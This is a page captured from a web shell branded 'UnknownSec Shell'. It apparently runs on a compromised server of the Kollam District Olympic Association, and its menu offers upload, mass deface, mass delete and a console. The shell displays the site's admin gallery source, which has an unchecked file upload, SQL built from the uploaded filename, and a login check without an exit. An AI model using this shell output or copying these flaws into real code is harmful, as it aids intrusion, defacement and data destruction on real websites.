shell bypass 403
UnknownSec Shell
:
/
home
/
hockeyalleppey
/
www
/
admin
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
gallist.php
<?php session_start(); if(!isset($_SESSION["sess_user"])){ header("Location: login.php"); } ?> <!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>KollamDistrictOlympicAssociation </title> <!-- plugins:css --> <link rel="stylesheet" href="vendors/feather/feather.css"> <link rel="stylesheet" href="vendors/mdi/css/materialdesignicons.min.css"> <link rel="stylesheet" href="vendors/ti-icons/css/themify-icons.css"> <link rel="stylesheet" href="vendors/typicons/typicons.css"> <link rel="stylesheet" href="vendors/simple-line-icons/css/simple-line-icons.css"> <link rel="stylesheet" href="vendors/css/vendor.bundle.base.css"> <!-- endinject --> <!-- Plugin css for this page --> <link rel="stylesheet" href="vendors/datatables.net-bs4/dataTables.bootstrap4.css"> <link rel="stylesheet" href="js/select.dataTables.min.css"> <!-- End plugin css for this page --> <!-- inject:css --> <link rel="stylesheet" href="css/vertical-layout-light/style.css"> <!-- endinject --> <link rel="shortcut icon" href="images/kollamlogo.png" /> </head> <body> <div class="container-scroller"> <!-- partial:partials/_navbar.html --> <nav class="navbar default-layout col-lg-12 col-12 p-0 fixed-top d-flex align-items-top flex-row"> <div class="text-center navbar-brand-wrapper d-flex align-items-center justify-content-start"> <div class="me-3"> <button class="navbar-toggler navbar-toggler align-self-center" type="button" data-bs-toggle="minimize"> <span class="icon-menu"></span> </button> </div> <div> <a class="navbar-brand brand-logo" href="index.php"> <img src="images/kollamlogo.png" alt="logo" / style="height:50px;"> </a> <a class="navbar-brand brand-logo-mini" href="index.php"> <img src="images/kollamlogo.png" alt="logo" style="height:50px;"/> </a> </div> </div> <div class="navbar-menu-wrapper d-flex align-items-top"> <ul class="navbar-nav"> <li class="nav-item font-weight-semibold d-none d-lg-block ms-0"> <h1 class="welcome-text"> <span class="text-black fw-bold">Kollam District Olympic Association</span></h1> </li> </ul> <button class="navbar-toggler navbar-toggler-right d-lg-none align-self-center" type="button" data-bs-toggle="offcanvas"> <span class="mdi mdi-menu"></span> </button> </div> </nav> <!-- partial --> <div class="container-fluid page-body-wrapper"> <!-- partial:partials/_settings-panel.html --> <div class="theme-setting-wrapper"> <div id="settings-trigger"><i class="ti-settings"></i></div> <div id="theme-settings" class="settings-panel"> <i class="settings-close ti-close"></i> <p class="settings-heading">SIDEBAR SKINS</p> <div class="sidebar-bg-options selected" id="sidebar-light-theme"><div class="img-ss rounded-circle bg-light border me-3"></div>Light</div> <div class="sidebar-bg-options" id="sidebar-dark-theme"><div class="img-ss rounded-circle bg-dark border me-3"></div>Dark</div> <p class="settings-heading mt-2">HEADER SKINS</p> <div class="color-tiles mx-0 px-4"> <div class="tiles success"></div> <div class="tiles warning"></div> <div class="tiles danger"></div> <div class="tiles info"></div> <div class="tiles dark"></div> <div class="tiles default"></div> </div> </div> </div> <div id="right-sidebar" class="settings-panel"> <i class="settings-close ti-close"></i> <ul class="nav nav-tabs border-top" id="setting-panel" role="tablist"> <li class="nav-item"> <a class="nav-link active" id="todo-tab" data-bs-toggle="tab" href="#todo-section" role="tab" aria-controls="todo-section" aria-expanded="true">TO DO LIST</a> </li> <li class="nav-item"> <a class="nav-link" id="chats-tab" data-bs-toggle="tab" href="#chats-section" role="tab" aria-controls="chats-section">CHATS</a> </li> </ul> <div class="tab-content" id="setting-content"> <div class="tab-pane fade show active scroll-wrapper" id="todo-section" role="tabpanel" aria-labelledby="todo-section"> <div class="add-items d-flex px-3 mb-0"> <form class="form w-100"> <div class="form-group d-flex"> <input type="text" class="form-control todo-list-input" placeholder="Add To-do"> <button type="submit" class="add btn btn-primary todo-list-add-btn" id="add-task">Add</button> </div> </form> </div> <div class="list-wrapper px-3"> <ul class="d-flex flex-column-reverse todo-list"> <li> <div class="form-check"> <label class="form-check-label"> <input class="checkbox" type="checkbox"> Team review meeting at 3.00 PM </label> </div> <i class="remove ti-close"></i> </li> <li> <div class="form-check"> <label class="form-check-label"> <input class="checkbox" type="checkbox"> Prepare for presentation </label> </div> <i class="remove ti-close"></i> </li> <li> <div class="form-check"> <label class="form-check-label"> <input class="checkbox" type="checkbox"> Resolve all the low priority tickets due today </label> </div> <i class="remove ti-close"></i> </li> <li class="completed"> <div class="form-check"> <label class="form-check-label"> <input class="checkbox" type="checkbox" checked> Schedule meeting for next week </label> </div> <i class="remove ti-close"></i> </li> <li class="completed"> <div class="form-check"> <label class="form-check-label"> <input class="checkbox" type="checkbox" checked> Project review </label> </div> <i class="remove ti-close"></i> </li> </ul> </div> <h4 class="px-3 text-muted mt-5 fw-light mb-0">Events</h4> <div class="events pt-4 px-3"> <div class="wrapper d-flex mb-2"> <i class="ti-control-record text-primary me-2"></i> <span>Feb 11 2018</span> </div> <p class="mb-0 font-weight-thin text-gray">Creating component page build a js</p> <p class="text-gray mb-0">The total number of sessions</p> </div> <div class="events pt-4 px-3"> <div class="wrapper d-flex mb-2"> <i class="ti-control-record text-primary me-2"></i> <span>Feb 7 2018</span> </div> <p class="mb-0 font-weight-thin text-gray">Meeting with Alisa</p> <p class="text-gray mb-0 ">Call Sarah Graves</p> </div> </div> <!-- To do section tab ends --> <div class="tab-pane fade" id="chats-section" role="tabpanel" aria-labelledby="chats-section"> <div class="d-flex align-items-center justify-content-between border-bottom"> <p class="settings-heading border-top-0 mb-3 pl-3 pt-0 border-bottom-0 pb-0">Friends</p> <small class="settings-heading border-top-0 mb-3 pt-0 border-bottom-0 pb-0 pr-3 fw-normal">See All</small> </div> <ul class="chat-list"> <li class="list active"> <div class="profile"><img src="images/faces/face1.jpg" alt="image"><span class="online"></span></div> <div class="info"> <p>Thomas Douglas</p> <p>Available</p> </div> <small class="text-muted my-auto">19 min</small> </li> <li class="list"> <div class="profile"><img src="images/faces/face2.jpg" alt="image"><span class="offline"></span></div> <div class="info"> <div class="wrapper d-flex"> <p>Catherine</p> </div> <p>Away</p> </div> <div class="badge badge-success badge-pill my-auto mx-2">4</div> <small class="text-muted my-auto">23 min</small> </li> <li class="list"> <div class="profile"><img src="images/faces/face3.jpg" alt="image"><span class="online"></span></div> <div class="info"> <p>Daniel Russell</p> <p>Available</p> </div> <small class="text-muted my-auto">14 min</small> </li> <li class="list"> <div class="profile"><img src="images/faces/face4.jpg" alt="image"><span class="offline"></span></div> <div class="info"> <p>James Richardson</p> <p>Away</p> </div> <small class="text-muted my-auto">2 min</small> </li> <li class="list"> <div class="profile"><img src="images/faces/face5.jpg" alt="image"><span class="online"></span></div> <div class="info"> <p>Madeline Kennedy</p> <p>Available</p> </div> <small class="text-muted my-auto">5 min</small> </li> <li class="list"> <div class="profile"><img src="images/faces/face6.jpg" alt="image"><span class="online"></span></div> <div class="info"> <p>Sarah Graves</p> <p>Available</p> </div> <small class="text-muted my-auto">47 min</small> </li> </ul> </div> <!-- chat tab ends --> </div> </div> <!-- partial --> <!-- partial:partials/_sidebar.html --> <nav class="sidebar sidebar-offcanvas" id="sidebar"> <ul class="nav"> <li class="nav-item"> <a class="nav-link" href="index.php"> <i class="mdi mdi-grid-large menu-icon"></i> <span class="menu-title">Dashboard</span> </a> </li> <li class="nav-item nav-category">Forms and Datas</li> <li class="nav-item"> <a class="nav-link" data-bs-toggle="collapse" href="#form-elements" aria-expanded="false" aria-controls="form-elements"> <i class="menu-icon mdi mdi-card-text-outline"></i> <span class="menu-title">Form elements</span> <i class="menu-arrow"></i> </a> <div class="collapse" id="form-elements"> <ul class="nav flex-column sub-menu"> <li class="nav-item"><a class="nav-link" href="Registration-form.php">Registration-Form</a></li> </ul> </div> </li> <li class="nav-item"> <a class="nav-link" data-bs-toggle="collapse" href="#tables" aria-expanded="false" aria-controls="tables"> <i class="menu-icon mdi mdi-table"></i> <span class="menu-title">Gallery</span> <i class="menu-arrow"></i> </a> <div class="collapse" id="tables"> <ul class="nav flex-column sub-menu"> <li class="nav-item"> <a class="nav-link" href="fileupload.php">Add Images</a></li> </ul> </div> <div class="collapse" id="tables"> <ul class="nav flex-column sub-menu"> <li class="nav-item"> <a class="nav-link" href="gallery-list.php">Gallery-List</a></li> </ul> </div> </li> <li class="nav-item"> <a class="nav-link" href="logout.php"> <i class="mdi mdi-grid-large menu-icon"></i> <span class="menu-title" >Signout</span> <!--<?=$_SESSION['sess_user'];?>!<a href="logout.php">Logout</a><!--> </a> </li> </ul> </nav> <!-- partial --> <?php include "dbConn.php"; // Using database connection file here if(isset($_POST["submit"])) { $var1 = rand(1111,9999); // generate random number in $var1 variable $var2 = rand(1111,9999); // generate random number in $var2 variable $var3 = $var1.$var2; // concatenate $var1 and $var2 in $var3 $var3 = md5($var3); // convert $var3 using md5 function and generate 32 characters hex number $fnm = $_FILES["image"]["name"]; // get the image name in $fnm variable $dst = "./all_image/".$var3.$fnm; // storing image path into the {all_images} folder with 32 characters hex number and file name $dst_db = "all_image/".$var3.$fnm; // storing image path into the database with 32 characters hex number and file name move_uploaded_file($_FILES["image"]["tmp_name"],$dst); // move image into the {all_images} folder with 32 characters hex number and image name $check = mysqli_query($db,"insert into tb_image(image) values('$dst_db')"); // executing insert query if($check) { echo '<script type="text/javascript"> alert("Data Inserted Seccessfully!"); </script>'; // alert message } else { echo '<script type="text/javascript"> alert("Error Uploading Data!"); </script>'; // when error occur } } ?> <div class="main-panel"> <div class="content-wrapper"> <div class="row"> <div class="col-lg-6 grid-margin stretch-card"> <div class="card"> <div class="card-body"> <h4 class="card-title">Images-List</h4> <div class="table-responsive"> <table class="table"> <thead> <tr> <td>Sl.No.</td> <td>image</td> <td>Action</td> </tr> </thead> <tbody> <?php $records = mysqli_query($db,"select * from tb_image"); // fetch data from database while($data = mysqli_fetch_array($records)) { ?> <tr> <td><?php echo $data['id']; ?></td> <th><img src="<?php echo $data['image']; ?>" width="150" height="150" style="border-radius:7px;"></th> </td> <td><a href="delete.php?id=<?php echo $data['id']; ?>" class="badge badge-danger" style="text-decoration: none;color: #fbfbfb;background: #F95F53;">Delete</a></td> <!--<td><label class="badge badge-danger" >Delete</label></td><!--> </tr> <?php } ?> </tbody> </table> </div> </div> </div> </div> </div> </div> <?php mysqli_close($db); // close connection ?> <!-- content-wrapper ends --> <!-- partial:partials/_footer.html --> <footer class="footer"> <div class="d-sm-flex justify-content-center justify-content-sm-between"> <span class="float-none float-sm-right d-block mt-1 mt-sm-0 text-center">Copyright © 2021. All rights reserved Kollam District Olympic Association</span> </div> </footer> <!-- partial --> </div> <!-- main-panel ends --> </div> <!-- page-body-wrapper ends --> </div> <!-- container-scroller --> <!-- plugins:js --> <script src="vendors/js/vendor.bundle.base.js"></script> <!-- endinject --> <!-- Plugin js for this page --> <script src="vendors/chart.js/Chart.min.js"></script> <script src="vendors/bootstrap-datepicker/bootstrap-datepicker.min.js"></script> <script src="vendors/progressbar.js/progressbar.min.js"></script> <!-- End plugin js for this page --> <!-- inject:js --> <script src="js/off-canvas.js"></script> <script src="js/hoverable-collapse.js"></script> <script src="js/template.js"></script> <script src="js/settings.js"></script> <script src="js/todolist.js"></script> <!-- endinject --> <!-- Custom js for this page--> <script src="js/dashboard.js"></script> <script src="js/Chart.roundedBarCharts.js"></script> <!-- End custom js for this page--> </body> </html>
© 2024 UnknownSec